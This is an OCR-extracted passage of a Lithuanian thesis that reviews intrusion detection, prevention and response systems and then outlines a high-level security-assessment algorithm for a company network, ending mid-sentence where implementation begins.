Jutikliai (angl. Sensor Node), kurie skirti surinkti siaurg, apibrézta informacijg ir jg pateikti
lokaliam agentui.

Jutiklis Jutiklis Jutiklis

Jutiklis

Lokalus agentas
Lokalus agentas

Regioninis
agentas

Regioninis
agentas

---- Valdymo
----- N
komutatorius

_E|

IDS valdymo serveris Saugumo politikos valdymo taskas

14 pav. WIDS architektiira
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Analizuojant IDS galima identifikuoti, kad jos naudoja sekanc¢ius komponentus [48]:

1.

Jutiklius arba agentus, kurie dazniausiai stebi veiklg. Jutikliai dazniausiai naudojami NIDS,
WIDS, NBA, o agentai dazniausiai naudojami HIDS. Analizei naudojami valdymo serveriai, bet
kartais jutikliai ir agentai gali biiti naudojami atskirai ir tada administratoriai tiesiogiai valdo, stebi
ir analizuoja gaunama informacija;

Valdymo serverius, kurie naudojami surinkti informacijg i$ jutikliy ir agenty bei ja analizuoti.
Esant didesniam tinklui yra galimi keli valdymo serveriai arba net dviejy ar trijy lygiy valdymo
serveriai;

Duomeny baziy serverius, kurie skirti kaupti duomenis 1§ jutikliy, agenty ir valdymo serveriy;
Valdymo konsolés, kurios skirtos naudotojams ir administratoriams. Vienos konsolés biina
skirtos jutikliy, agenty konfigiiravimui, programinés jrangos atnaujinimui, o kitos skirtos tik gauty
duomeny stebésenai ir analizei.

2.1.6 Naudojamuy metodiky jsilauZimui aptikti analizé

Analizuojant piktnaudziavimo aptikimo (angl. misuse—based detection) arba kitaip vadinama paraso
aptikimo (angl. Signature—based Detection) metodikg [16] galime pastebéti, kad ji remiasi Siais
aptikimo algoritmais ir modeliais [49]:

1.

ParaSo aptikimo metodu, kurio metu stebimi jvykiai, kurie yra suvesti | ataky duomeny bazg.
Sioje duomeny bazéje yra kaupiamos seniau identifikuotos ir patvirtintos atakos;

Taisyklémis paremtu metodu, kurio metu yra identifikuojamos atakos, kuriy atpazinimui
naudojama taisyklé vadinama ,,jeigu—tai®;

Peréjimo paremtu metodu, kurio metu yra stebimas biiseny pasikeitimas ir identifikuojamos
biisenos, kurios yra pazymétos kaip galimos grésmés. Dazniausiai biisenos atitinka skirtingas
tinklo protokolo kaupikliy biisenas arba esamy veikian¢iy procesy ar tam tikry faily vientisumo
ir galiojimo biisenos;

Duomeny analizés metodu (angl. Data Mining Based), kurio metu kiekvienas duomeny rinkinio
egzempliorius yra pazymimas kaip "normalus" arba "jkyrus" [21, 22]. Dazniausiai metodas
naudojamas automatiskai pazyméti duomenis j "normalius" arba "jkyrius" ir taip identifikuojant
naujus jsilauzimo aptikimo modelius (pvz. MONID ir ORCHIDS).

Analizuojant anomalijos aptikimo metodikg galima pastebéti, kad ji remiasi Siais aptikimo
algoritmais ir metodais [17, 49]:

1.

Statistiniu metodu, kurio metu kuriy metu stebimas naudotojo, sistemos ar tinklas, nustatant tam
tikrus kriterijus ir leistinas ribas (pvz., kiekvieno seanso prisijungimo ir atsijungimo laikas);
Taisyklémis paremtu metodu, kurio metu jprasta naudotojo, sistemos ar tinklo elgsena
aprasoma taisykliy rinkiniu ir taip pat apraSoma, kas yra nejprastas elgesys (taisykliy, pvz.
ComputerWatch it Wisdom & Sense);

Atstumo metodu, kurio metu vertinamas daugialypis duomeny pasiskirstymas ir identifikuojami
jo neatitikimai, kurie néra aptinkami statistinés analizés metu;

Modelio metodu, kurio metu yra apraSomas jprastas individualaus vartotojo elgesio modelis ir
yra identifikuojami nukrypimui nuo jo;

Profilio metodu, kurio metu yra apraSomas jprastas elgesio profilis kiekvienam tinklo srauto,
vartotojo, sistemy ir pan. tipui ir yra identifikuojami nukrypimui nuo jo (metodo naudojimo pvz.
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ADAM —angl. Audit Data and Mining, yra hibridinis anomalijy detektorius ir iSpuoliams pries
TCPDUMP duomenis atrasti).

Analizuojant protokolo biisenos analizés (angl. Stateful Protocol Analysis) metodika [18] galima
pastebéti, kad ji yra panasi | anomalijos aptikimo metodika [17] iSskyrus tai, kad profilius sukuria
tiekéjai, tiekiantys jutikliy jrangg. Profiliai yra nustatomi remiantis standartais ar geraja praktika ir
suteikia galimybe stebéti protokolo biiseng tiek tinklo lygmenyje, tiek programinés irangos
lygmenyje.

Analizuojant IDS pazeidziamumy aptikimo metodikas galime pastebéti, kad piktnaudziavimo
aptikimo arba paraSo aptikimo metodika paremta tuo, kad jsilauzimai identifikuojami analizuojant
surinkta informacija su i anksto Zinomu informacijos rinkiniu, kuris naudojamas kaip savotiskas
antspaudas ar kitaip vadinamas parasas, pagal kurj galimg atpazinti pazeidziamumus arba naudojant
nustatyta taisykliy rinkinj. Sio metodo trikumas yra tas, kad visi neZinomi rinkiniai yra
identifikuojami kaip jsilauzimas. Anomalijos aptikimo metodika paremta tuo, kad analizuojant
informacijg, identifikuojama ta informacija, kuri turi nukrypimg nuo numatytos informacijos ar
elgesys yra jtartinas. Jei nuokrypis yra didesnis nei nustatyta tam tikra riba, tada ta informacija
laikoma kaip nukrypimas. Sio metodo triikumas yra tas, kad yra kartais sunku identifikuoti kas yra
normalu, o kas yra jsibrovimas. Protokolo biisenos analizés metodika paremta tuo, kad yra nuolat
stebima kiekviena sesijos biisena ir analizuojama informacija dabartiniuose paketuose arba lyginant
su ankstesniais paketais, siekiant nustatyti nukrypimus. Sio metodo triikumas yra tas, kad reikalingas
pastovus stebéjimas ir neuztenka vienos uzklausos.

Kiekviena IDS turi buti pritaikyta darbui taip, kad buty galima patogiai, tiksliai ir efektyviai
identifikuoti grésmes. IDS naudoja sekancias jsilauzimo aptikimo kriterijus [48]:

1. Ribinés reik§més (angl. Thresholds), kurios nustato ribg tarp iprastos ar nejprastos informacijos
ar elgesio. Ribos dazniausiai nurodo maksimaly leisting lygj, pvz., vartotojui penkis kartus
nepavyksta prisijungti prie informacinés sistemos, arba ne maziau 8 simboliy turi sudaryti failo
pavadinimo ilgis, i$ kuriy turi biiti vienas skaiCius ir viena didel¢ raid¢ ar pan. Visa informacija,
kuri turi nukrypimus nuo uzduoty riby, yra panaudojama anomalijos aptikimo ir protokolo
bisenos analizéje;

2. Balti ir juodi saraSai (angl. Blacklists and Whitelists), kurie blokuoja turinj arba, prieSingai, ji
praleidzia be ribojimy. Juodasis sgraSas dazniausiai naudojamas tam, kad biity galima atpazinti ir
blokuoti turinj, kuris grei€iausiai yra piktybinis, o taip pat jis yra naudojamas laikinai blokuoti
neseniai aptiktas grésmes (pvz., piktavalio IP adresg). Baltasis sgraSas yra zinomas kaip gerybinis
sarasas ir dazniausiai naudojamas tam, kad sumazinti arba ignoruoti klaidingus teigiamus
praneSimus, susijusius su zinoma gerybine veikla i§ patikimy kompiuteriy. Baltieji sgraSai ir
juodieji sgraSai dazniausiai naudojami paraSo aptikimo ir protokolo biisenos analizéje;

3. Pavojaus nustatymai (angl. Alert Settings) skirti administratoriui priskirti vienokj ar kitokj
prioriteta galimai grésmei, specifikuoti, kokias prevencines priemones galima taikyti, i§jungti ar
jjungti tam tikrus pavojaus pranesimus;

4. Kodo perziura ir redagavimas, leidzia administratoriams matyti kai kuriuos ar visus su aptikimu
susijusius kodus. Paprastai tai yra tik paraSai, taCiau kai kurie gamintojai leidzia
administratoriams pamatyti programos koda, kuris naudojamas atlikti protokoly biisenos analizg.
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2.2 IsilauZimo prevencijos sistemy analizé

Galima pastebéti, kad IPS yra aukstesnio lygio negu IDS. Kai tik IPS nustato galima ataka, IPS ne tik
praneSa administratoriui, bet iSkart pradeda atitinkamas atsakomagsias priemones. Tokiu biidu,
naudojant IPS, iSvengiama pernelyg ilgai trunkancio jsibrovelio aptikimo ir neutralizavimo, kuris
biidingas naudojant IDS programas. Vis délto taikant analizés metodus i$ esmés néra skirtumy tarp
dviejy tinklo apsaugos mechanizmy. IPS, kaip ir IDS, remiasi NIDS ir HIDS naudojamy jutikliy ir
agenty duomenimis, kad biity galima registruoti ir analizuoti jy duomenis ir tinklo paketus.

Tradiciskai ugniasienés ir antivirusinés programos bando blokuoti iSpuolius ir IDS bando nustatyti
iSpuolius, kai Sie iSpuoliai jvyksta. Ugniasienés panaudojimas gali sustabdyti paslaugas, uzblokuojant
atitinkamus prievadus, bet nejvertina srauto, kuris yra praleidziamas per prievadus. IDS gali jvertinti
srautg, kuris eina per Siuos prievadus, taciau negali srauto sustabdyti, jeigu jis yra kenkéjiskas. IPS
gali aktyviai blokuoti kenk¢jisSkus iSpuolius. Norint tai padaryti IPS paprastai bitina sukonfigiiruoti
pagal labai konkrecias taisykles, kad bty iSvengta klaidy, kad jprasto vartotojo veiksmai nebiity
klasifikuojami kaip pavojingi, o biity uzblokuoti panaudojus anomalijy aptikimo, paraso aptikimo ir
pan. metodus.

2.2.1 IsilauZimo prevencijos sistemos architektiiros analizé

Analizuojant IPS panaudojimo architektiiras [55] galime pastebéti, kad IPS tokiose IT&T tinklo
architektiiros konfigiiracijose:

1. Tinklo (angl. network—based) IPS (toliau — NIPS), kuris skirtas stebéti visg tinklg ir perimti atakas
skirtas uzvaldyti tinkla;

2. Mazgy (angl. host—based) IPS (toliau — HIPS), kuris turi galimyb¢ apsaugoti tinklg nuo
dazniausiy vidiniy iSpuoliy, taip pat siekient apsaugoti mobilias aplikacijas, kurios veikia iSoréje,
o0 yra sujungtos su vidinémis sistemomis per saugy Sifruotg rysj (pvz. VPN).

Internal
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Users (Extranet)

15 pav. NIPS ir HIPS architekttira [55]

NIPS ir HIPS architektiira pavaizduota 15 pav. Joje galima pastebéti, kad ugniasiené (a) yra tinklo
pradzioje, kurios tikslas blokuoti tam tikro tipo atakas. Uz ugniasienés dazniausiai yra bendro
naudojimo tinklas. UZ ugniasienés yra prieiga prie demilitarizuotos zonos — DMZ1 (b) arba vidinio
tinklo (c). Sios dvi zonos atskirtos ir jeigu baty jsibrauta j DMZ1, tai yra j vidinio tinklo esan¢ia
jranga nebity galima prieiti. DMZ1 yra zona, kurioje dazniausiai yra interneto serveriai, tokie kaip
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WEB, DNS, FTP, SMTP serveriai. Svarbiis vidiniai serveriai dazniausiai yra saugomi vidinio tinklo
zonoje. ISoriniai vartotojai, partneriai, tiekéjai jungiasi j pagrindinj duomeny centrg (d), naudojant
autentikavimo serverius (f). Siekiant apsaugoti vertingus duomenis (d, g, h) nuo iSorinio jsibrovimo
arba tinklo srities saugojimo serverius (e), visi iSoriniai vartotojai prijungiami prie vidiniy tinkly per
saugy Sifruota rysi pvz. VPN. Tam tikslui kiekviename serveryje jdiegiamas HIPS agentas, kad
blokuoty serverio specifinj ir nukreipta jsibrovimg j renginj, t. y. kiekviena sistema, jrenginys ar
serveris, kitg sistema, jrenginj ar serverj turi priimti kaip svetimg. Tai daroma dél to, kad dauguma
1Spuoliy jvyksta i§ organizacijos vidaus (lengviau organizuoti tokj iSpuolj) ir santykinai lengva yra
nuslépti tokj iSpuolj.

2.2.2 Naudojamy metodiky jsilauZimo prevencijai analizé

Analizuojant metodikas, kaip vykdoma jsilauzimo prevencija, galime pastebéti, kad naudojamos
tokie metodai [62]:

1. Euristinis metodas, kuris yra panaSus ] panaSus ] IDS anomalijy aptikimo metodika, tik
panaudojant neuroninius tinklus su galimybe veikti prie§ jsibrovimus ir blokuoti juos;

2. Smélio dézés (angl. Sandbox) metodas, kuris remiasi tuo, kad naudojami mobiliy aplikacijy kodai
tokie, kaip ActiveX, Java ir kiti, turintys prieigg prie sistemos iStekliy. IPS stebi jo elgseng ir jeigu
kodas pazeidzia 1§ anksto apibréztg politika, jis sustabdomas ir uzkertamas kelias uzpuolimui;

3. Hibridinis metodas, kuris skirtas NIPS ir jis naudoja jvairius IDS metodus, jskaitant protokolo
anomalija, srauto anomalijg ir paraSo aptikima, kartu veikia siekiant nustatyti neiSvengiama ataka
ir blokuoti srautg marSrutizatoriuje;

4. Branduolio apsaugos metodas, kuris naudojamas HIPS. Dauguma operaciniy sistemy apriboja
prieiga prie procesoriaus branduolio pagal vartotojo programg. Procesoriaus branduolys
kontroliuoja prieigg prie sistemos istekliy, pvz., atminties, jvesties / iSvesties jrenginiy ir centrinio
procesoriaus, uzkertant kelig tiesioginei naudotojo prieigai. VartotojiSkos programos tam, kad
naudotysi iStekliais, siuncia uzklausas arba sistemines uzklausas j branduolj, kuris, jas gaves,
pradeda vykdyti operacijg. Kiekvienas paleistas vykdyti kodas atliks bent vieng sistemos
uzklausg, kad gauty prieiga prie privilegijuoty iStekliy ar paslaugy. IPS neleidzia vykdyti
kenksmingy sistemos uzklausy j branduol;.

2.3 Isilauzimo reagavimo sistemos problematikos analizé

Analizuojant IRS galime pastebéti, kad tradiciskai reagavimas ] atakas yra administratoriaus
sprendimo teis¢, bet pastaraisiais metais dé¢l padidéjusio ataky plitimo sudétingumo ir spartos,
atsirado aktualumas sudétingoms dinaminéms reagavimo ] kibernetines atakas poreikis. IRS
naudojasi IDS jutikliy ir agenty duomenimis.

2.3.1 IsilauZzimo reagavimo sistemos architektiiros problematikos analizé

Analizuojant IRS architektiiras [57, 58] galime pastebéti, kad naudojamos sekancios dviejy tipy IRS,
kuriy architekttira pavaizduota 16 paveiksle:

1. Pasyvinés, kuriy pagrindinis tikslas yra pranesti ir (arba) pateikti informacijg apie iSpuolius:

1.1. Pranesimy sistemos, kurios teikia informacija apie jsibrovima, kuria sistemos administratorius
panaudoja tam, kad pasirinkty atsakg j jsibrovima;

1.2. Rankinio reagavimo sistemos, kurios leidzia sistemos administratoriui paleisti veiksmg i§ anksto
nustatyto rinkinio;
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2.2.

2.3.

2.4.

2.5.

2.6.

2.7.

2.8.

2.9.

Aktyvinés (automatinio reagavimo), kurios siekia kuo labiau sumazinti piktavalio padaryta Zala
ir (arba) bandyti aptikti ar pakenkti piktavaliuiStatinés, kuriy reagavimo pasirinkimo
mechanizmas, per uzpuolimo laikotarpj, iSlieka tas pats. Galima pastebéti, kad dauguma IRS yra
statinés sistemos;

Adaptyvios, kurios dinamiSkai reaguoja atakos eigoje pasirenkant reagavimo mechanizma |
besikei¢iancig aplinka;

Pro aktyvios, kurios leidzia prognozuoti jsibrovimg prie$ atakuojant IT&T iSteklius;

Atidétos, kuriy reagavimo veiksmas atidedamas iki tol kol bus patvirtinta ataka. Toks patikinimas
gali biiti suteiktas naudojant IDS patikimumo metrikg arba visiSkg pédsako atitikt] esamam
uzpuolimo parasui;

Autonominés, kurios tvarko jsibrovima nepriklausomai nuo lygio, kuris buvo nustatytas t. y.
HIDS aptikus jsibrovimg viename jrenginyje, bus aktyvinti reagavimo veiksmai, tokie kaip
proceso uzbaigimas, serverio iSjungimas ir pan.;

Bendradarbiaujancios, kurios gali aptikti ir reaguoti j jsibrovimg vietos lygiu, taciau galutiné ar
net papildoma atsakymy strategija yra nustatyta ir taikoma visame pasaulyje. Daznai NIRS yra
sukurtos tokiam bendradarbiavimu, nes tai leidzia pasiekti geresniy rezultaty reakcijos greiciui;
Statinio pasirinkimo, kurios yra i§ esmés automatizuotos rankinio reagavimo sistemos, kuriose
pateikiamas jspé&jimas, kuris buvo i§ anksto nustatytas;

Dinaminio pasirinkimo, kurios yra labiau paZengusios nei statinés pasirinkimo sistemos, nes
reagavimo pasirinkimas remiasi tam tikra atakos metrika (pasitikéjimas, atakos sunkumo laipsnis
ir kt.);

Sanaudy pasirinkimo, kurios bando sutaupyti jsibrovimo sugadinimg ir reagavimo islaidas.

Attack type Risk Index
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- adaptive | mapping
N L »H_T}-é@ ! v

\ p Hapapon 4 . Reactive
= . ) > ‘.’.’u," Retroactive Fronc¥ve

| ' Static i X|.| Dynamie |
| IDS 'Q* Evaluated non-adaptive ; .-' mapping | .

2.3.

|
- |
J

tiakt  tia) 1(a}+
Muitiple factors L @ @ R | ) |

Burst Apply all \’)
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(T—
v QCom-senﬁmve ]|
&) mapping ¥
' - . ; [ - Attacked Machine |
- Altacker Machine
Firewall

)-i Prediction / Attack Path

Risk Assessment '-:"E:]
{Attack Cost) !
| | -

| | ()
> Satic | * (1)

Lo o 1! ¢

bl Dynamic |

-
()

16 pav. IRS architektiira [58]

2 Naudojamuy metodiky jsilauZimo reagavimui problematikos analizé

IDS 1§ esmés veikia analizuojant gaunamy pakety parasus ir juos lyginant su Zinomais uzpuolimo
biidais arba taip vadinamais piktnaudziavimu pagristais parasais, arba numatomojo sistemos elgesio
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modeliais, arba taip vadinamais anomalijomis pagrjstais parasais. Jvertinant IDS veikimg galime
pastebéti, kad yra du IDS trukumai:

- Klaidingy pavojaus signaly, kai legalus srautas pazymimas kaip kenkéjiskas;
- Praleisty pavojaus signaly, kai kenksmingo srauto nepazyméjo IDS.

Analizuojant metodikas kaip vykdoma jsilauzimo reagavimo jgyvendinimas galime pastebéti, kad
panaudojus duomenis gautus i§ IDS jutikliy ir agenty bei atsizvelgiant j atakos tipg panaudojus
statinio, dinaminio ar sagnaudy pasirinkimo jvertinimg reagavimo jgyvendinimui yra panaudojamos
tokios metodikos [58]:

1. Prasiverzimo (angl. burst), kuris neturi mechanizmo, leidziancio jvertinti ar jsilauzimo
reagavimo jgyvendinimas padaré jtaka mazgui / tinklui. Daugiausia IRS naudoja biitent §j
metodika;

2. Pro aktyvus, kuris griztamojo rySio mechanizma leidziantj jvertinti jsilauzimo reagavimo
jgyvendinimas padaré poveikj ir gali Siuos rezultatus pritaikyti pries priimant kita sprendima.
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3. Kibernetinés saugos algoritmo sudarymas

Siame darbe buvo pasirinktas UAB ,,Mokslas“ IT&T tinklas, kurio topologija pavaizduota 17 pav.

Pasto
serveris
ISoriniy
paslaugy
potinklis

Faily  Aplikacijy
serveris  serveris

. serveris
Ugniasiené

Ugniasieng

Internetas/VPN

I1Soriniy paslaugy
potinklis

Ugniasiené

Spausdintuvy §
tinklas

Ug isiené

potinklis

Duomeny Apllkacuq
bazé  serveris

Aplikacijy Duomeny
serveris DMZ2 baze
potinklis

Autentikavimas
Administratoriy
potinklis

17 pav. UAB ,,Mokslas“ tinklo topologija

UAB ,,Mokslas* IT&T tinklas yra realus tinklas, kuris skirtas jmonés veiklai uztikrinti. Tinklas
susideda i$ vidinio ir iSorinio tinklo.

UAB ,,Mokslas® IT&T iSoriniam tinklui sudaryti yra naudojamas nuosavas IP adresy masyvas ir
nuomojamas i$ interneto paslaugy teikéjo IP adresy masyvas. [Soriniy paslaugy potinkliuose yra pasto
serveris, faily serveris, VPN serveriai, WEB paslaugy serveriai ir jie naudoja ugniasienes. Pasto
serveris naudoja atskirg ugniasieng.

UAB ,,Mokslas* IT&T vidinis tinklas yra sukonfigtruotas Siuose potinkliuose:

- paslaugy potinklis (katalogy paslaugos (angl. Active Directory) serveris, DNS serveris,
dinaminis jrenginiy konfigiiravimo protokolo (angl. Dynamic Host Configuration Protocol)
serveris, vidinis FTP serveris ir t.t);

- spausdintuvy potinklis;

- tinklo jrenginiy potinklis;

- DMZI1 potinklis (vidinés UAB ,,Mokslas* sistemos ir duomeny bazes);

- KDV potinklis;
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- administratoriy potinklis (radius ir pan.);
- DMZ2 potinklis (vidinés UAB ,,Mokslas* sistemos ir duomeny bazes).

UAB ,,Mokslas* IT&T vidiniame tinkle sukonfigiiruoti du virtualiis tinklai:

- pirmame virtualiame tinkle yra Sie potinkliai:
o paslaugy potinklis;

tinklo jrenginiy potinklis;

DMZ]1 potinklis;

KDV potinklis;

administratoriy potinklis;
o DMZ2 potinklis.

- antrame virtualiame tinkle yra $ie potinkliai:
o spausdintuvy potinklis;
o KDV potinklis;
o administratoriy potinklis.

o O O O

UAB ,Mokslas*“ IT&T tinklo sistemy kibernetinés saugos vertinimo planavimui panaudosime
standartinj planavimo procesa, kuris pavaizduotas 18 pav. ir susideda is dviejy dideliy etapy:

1. Plano sudarymas;
2. Plano vykdymas.

Plano vykdymas \

Eksperimento/
testo atlikimas

Problematikos
suformulavimas

Eksperimento/
testo

sukdrimas
Duomeny

analizé

Jrankiy
parinkimas

18 pav. Planavimo procesas

Issamus IT&T tinklo kibernetinés saugos vertinimo algoritmas pavaizduotas 19 paveiksle.
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1. Informacijos rinkimas

1.1.1 Balta grupé

1.1.2 Pilka grupé

1.1.3 Juoda grupé

-

1.2 Zvalgyba

1.2.1 VieSos informacijos
surinkimas

1.2.2 Techniniy duomeny
skenavimas

mmm 2. Tinklo ir sistemy atsparumo
v - kibernetinés saugos patikrinimas
v

—

2.1 ISorés tinklo ir sistemy
atsparumo patikrinimas

2.2 Vidiniy tinklo ir sistemy
atsparumo patikrinimas

2.1.1 Tinklo architektiiros

pazeidziamumy patikrinimas

2.1.2 Duomeny saugumo

2.2.1 Tinklo jrangos
konfigiiracijos patikrinimas

patikrinimas

2.1.3 Atsparumas DoS

2.2.2 KDV patikrinimas

atakoms patikrinimas

2.1.4 Antivirusiniy sistemy
veiklos patikrinimas

2.2.3 Tarnybiniy stociy
patikrinimas

= > P X
g}o > 3. Zmogiskojo faktoriaus

[ﬂ patikrinimas
L |

l

3.1 Darbuotojy

3.2 Politikos

3.3 Darbo viety

% 4. Pazeidziamumo jvertinimas
S

+

% 5. Priemoniy plano parengimas
=l

19 pav. IT&T kibernetinés saugos vertinimo algoritmas

Informaciniy technologiju ir telekomunikacijy tinklo kibernetinés saugos vertinimo algoritmo
aprasSymas

Siame darbe sudaryto IT&T tinklo kibernetinés saugos vertinimo algoritmo pagrindiniai punktai:

1. Informacijos rinkimas:
1.1. Suskirstymas j grupes:

1.1.1.
1.1.2.

Balta, kai yra i§sami informacija;
Pilka, kai yra dalin¢ informacija;
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1.1.3. Juoda, yra nedaug informacijos ir reikalinga atlikti zvalgyba.
1.2. Zvalgyba:

1.2.1. Viesosios informacijos surinkimas;

1.2.2. Techniniy duomeny nuskaitymas.

2. Tinklo ir sistemy atsparumo kibernetinés saugos patikrinimas:
2.1. ISorés tinklo ir sistemy atsparumo patikrinimas:

2.1.1. Tinklo architektiiros pazeidziamumy patikrinimas;

2.1.2. Duomeny saugumo patikrinimas;

2.1.3. Atsparumo DoS atakoms patikrinimas;

2.1.4. Antivirusiniy sistemy susidorojimo su zalingu kodu patikrinimas.
2.2. Vidiniy tinklo ir sistemy atsparumo patikrinimas:

2.2.1. Tinklo jrangos konfigtiracijos patikrinimas;

2.2.2. Kompiuterizuotos darbo viety saugumo patikrinimas;

2.2.3. Tarnybiniy sto¢iy saugumo patikrinimas.

3. Zmogiskojo faktoriaus patikrinimas.
4. PazZeidziamumo jvertinimas.
5. Priemoniy plano parengimas.

Informacijos rinkimo (1 etapas) metu siekiama kiek jmanoma daugiau informacijos surinkti i$ tinklo
ir kity vieSai prieinamy 3altiniy. Sio etapo metu atlickamas prievady nuskaitymas, sistemy ir IP ar
kitokiy adresy identifikacija. Pagal tai, kiek turima informacijos apie tinklg ir sistemas, jie suskirstomi
I:

- Balta (1.1.1 etapas) grupe, kai yra iSsami informacija;
- Pilka (1.1.2 etapas) grupe, kai yra dalin¢ informacija;
- Juodg (1.1.3 etapas) grupe, kai yra nedaug informacijos.

VieSosios informacijos surinkimas (1.2.1 etapas) vykdomas surenkant kiek jmanoma daugiau
informacijos 18§ vieSyjy Saltiniy apie tinklo ir sistemy veikla.

Techniniy duomeny nuskaitymo (1.2.2 etapas) metu atlieckamas prievady nuskaitymo siekiant
nustatyti jy teikiamas paslaugas. Kiekvienam atviram prievadui atlieckamas prievade veikiancios
tarnybos identifikavimas, kadangi prievado numeris savaime nesuteikia informacijos, kokia tarnyba
jame prieinama. Atviry prievady ir juose dirbanciy tarnyby patikrinimo objektuose visuma leidzia
nustatyti kokia operacin¢ sistema veikia skenuojamame objekte, kas yra svarbu bendram
infrastruktiiros, prie§ kurig gali buiti nukreiptas jsilauzimas, padeda suvokimui bei tinkamos galimam
jsilauzimo patikrinimo krypties pasirinkimui. Sio etapo metu gaunama tokia informacija: ugniasienés
konfigiiracija, veikianciy sistemy sarasas, atviry TCP / UDP prievady sarasas, veikianciy tarnyby
sgrasas, operaciniy sistemy sarasas.

IT&T tinklo atsparumo kibernetinés saugos patikrinimo metu (2 etapas) yra pasirenkamas tinklas,
kuriame bus atlieckami kibernetinés saugos patikrinimai. Dazniausiai vykdomi iSorinio ir vidinio
tinklo bei sistemy kibernetinio saugumo patikrinimai.

IT&T iSorinio tinklo atsparumo kibernetiniam saugumui patikrinimo metu (2.1 etapas) atliekami
tinklo architekttiros, duomeny saugumo bei DoS atakoms pazeidziamumy patikrinimai, antivirusiniy
sistemy susidorojimo su zalingu kodu patikrinimas.
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IT&T iSorinio tinklo architektiiros pazeidziamumy jvertinimo metu (2.1.1 etapas) sudaromas tuo
perimti ta srautg ji uzvaldant. Prie tinklo architektiros pazeidziamumy priskiriami tokie
pazeidziamumai, kurie atskleidzia sisteming informacija, pavyzdziui, iSsamus klaidos praneSimy
rodymas, idiegtos programinés jrangos versijos nustatymas, direktorijy turinio ir kelio iki Sakninio
katalogo atskleidimas.

IT&T iSorinio tinklo duomeny saugumo patikrinimo metu (2.1.2 etapas) sudaromas tuo metu Zinomy
pazeidziamumy sgraSas ir jvertinamos saugumo spragos, kurios gali biiti panaudotos pri¢jimui prie
sistemy ar duomenims gauti. Tai yra vienintelis kelias siekiant iSsiaiSkinti, ar sistema tikrai
pazeidziama. Sio patikrinimo metu gaunama informacija apie pazeidzamumus (vartotojy vardai,
slaptazodziai, ekrano nuotraukos ar slapti duomenys).

Atsparumo DoS atakoms patikrinimo metu (2.1.3 etapas) siekiama jsitikinti, ar WEB serveris sugeba
susidoroti su dideliu kiekiu HTTP uzklausy.

Antivirusiniy sistemy susidorojimo su zalingu kodu patikrinimo metu (2.1.4 etapas) analizuojamas
elektroninio pasto filtro bei WEB serveriuose jdiegty antivirusiniy sistemy geb¢jimas susidoroti su
kenkejiskais failais.

IT&T vidinio tinklo ir sistemy atsparumo kibernetinés saugos patikrinimo metu (2.2 etapas) atlickami
esminiai vidinio tinklo patikrinimai tokie, kaip tinklo jrangos konfigtiracijos, kompiuterizuotos darbo
viety ir tarnybiniy sto¢iy saugumo patikrinimai.

Tinklo jrangos konfigiiracijos patikrinimo metu (2.2.1 etapas) yra sudaromas tuo metu Zinomy
pazeidziamumy sgraSas ir tikrinamas tinklo jrangos konfigiiracijos saugumas, galimybé nukreipti
tinklo srautg j piktavalio kompiuterj ir tokiu biidu perimti konfidencialius duomenis ir/ar
slaptazodzius. Tikrinama kaip vidinio tinklo infrastruktiira yra apsaugota nuo savavaliSko
(nesankcionuoto) tinklo ir paSaliniy kompiuteriniy jrenginiy prijungimo.

Kompiuterizuotos darbo viety saugumo patikrinimo metu (2.2.2 etapas) yra sudaromas tuo metu
zinomy pazeidziamumy saraSas ir tikrinama operaciniy sistemy bei jose veikianciy aplikacijy
atnaujinimo lygis ir ar jos néra pazeidziamos. Tikrinamas kompiuterizuoty darbo viety ir jose
veikian¢iy aplikacijy konfigiiracijos saugumas, leidZiantis vartotojams eskaluoti teises prisijungiant
prie naudojamy sistemy. Tikrinamas veikian¢iy duomeny baziy sistemy programinés jrangos
atnaujinimo lygis ir konfigtracija.

Tarnybiniy sto¢iy saugumo patikrinimo metu (2.2.3 etapas) yra sudaromas tuo metu Zinomy
pazeidziamumy sarasas ir tikrinamos vidiniame tinkle veikianiy tarnybiniy sto¢iy operacinés
sistemos ir ar jos néra pazeidziamos. Tikrinamas tarnybiniy sto€iy ir jose veikian¢iy aplikacijy
konfigiiracijy saugumas, leidziantis vartotojams eskaluoti teises prisijungiant prie naudojamy
sistemy. Tikrinamas veikian¢iy duomeny baziy sistemy programinés jrangos atnaujinimo lygis ir
konfigiiracija.

Zmogiskojo faktoriaus patikrinimo metu (3 etapas) atlickama patikrinimai siekiant jsitikinti, kad
darbuotojai geba (3.1 etapas) pastebéti vykdomas duomeny vagystés (angl. phishing) atakas.
Patikrinimui daZniausiai naudojama socialiné inzinerija ir yra siunc¢iami laiSkai jstaigos
darbuotojams, analizuojami vartotojy slaptazodziy atitikimo saugos reikalavimams bei bandoma
atskleisti konfidencialig informacija neSifruotais duomeny perdavimo kanalais. Atlickama saugos
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politikos perzitira (3.2 etapas) siekiant jsitikinti, ar yra laikomasi tam tikry saugos politikose nurodyty
taisykliy, t. y. ar darbuotojai laikosi saugaus slaptazodZzio sudarymo bei jo saugojimo taisykliy ir pan.
Tikrinamos darbo vietos (3.3 etapas), siekiant jsitikinti ar darbuotojai saugiai naudoja jautrig
informacijg, nepalieka vieSai matomose vietose prisijungimo duomeny.

Atliekant pazeidziamumo jvertinimg (4 etapas), vykdomi skaiCiavimai pagal pazeidziamumy
vertinimo metodika, kuri aprayta 1.5 skyriuje. Sie skai¢iavimai parodo kiek yra pazeidziamas IT&T
tinklas.

Sudarant priemoniy plang pazeidziamumams paSalinti (5 etapas), panaudojami atsparumo
pazeidZiamumams jvertinimo duomenys, kurie pateikiami pagal sritis (konfidencialumo, vientisumo,
priecinamumo) ir panaudojamas priemones (konfigiravimo, techninés, organizacinés,
kompetencijos). Sri¢iy indentifikavimas leidzia suprasti pazeidZiamumo mastg. Priemoniy
parinkimas leidZia nustatyti veiksmus. Konfigiiravimo priemon¢ reiskia, kad reikalingas darbuotojy
indélis. Techniné priemoné reiSkia, kad reikalinga jsigyti programiné ar aparatiné jranga.
Organizacinés priemonés reiskia, kad reikalingi organizaciniai sprendimai (pvz. paskirti atsakingus
asmenis). Kompetencijos priemon¢ reiskia, kad reikalingi mokymai. Sis planas (3 lentelé) leidZia
aukSciausiai vadovybei jvertinti rizikas bei suprasti kokiy priemoniy reikia imtis, kad pasalinti
identifikuotus pazeidziamumus.

3 lentelé. Priemoniy planas

Priemoné Konfigtiravimo Techninés Organizacinés Kompetencija
Sritis
Konfidencialumas
Vientisumas
Prieinamumas
Veiksmai

Atliekant pakartotinius pazeidziamumy jvertinimus, pasirinktas algoritmas leidzia palyginti gautus
rezultatus ir jvertinti pokycius.
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4. Sudaryto kibernetinés saugos algoritmo realizavimas

Siame darbe kibernetinés saugos algoritmo patikrinimas vykdomas pagal juodos grupés (angl. black—
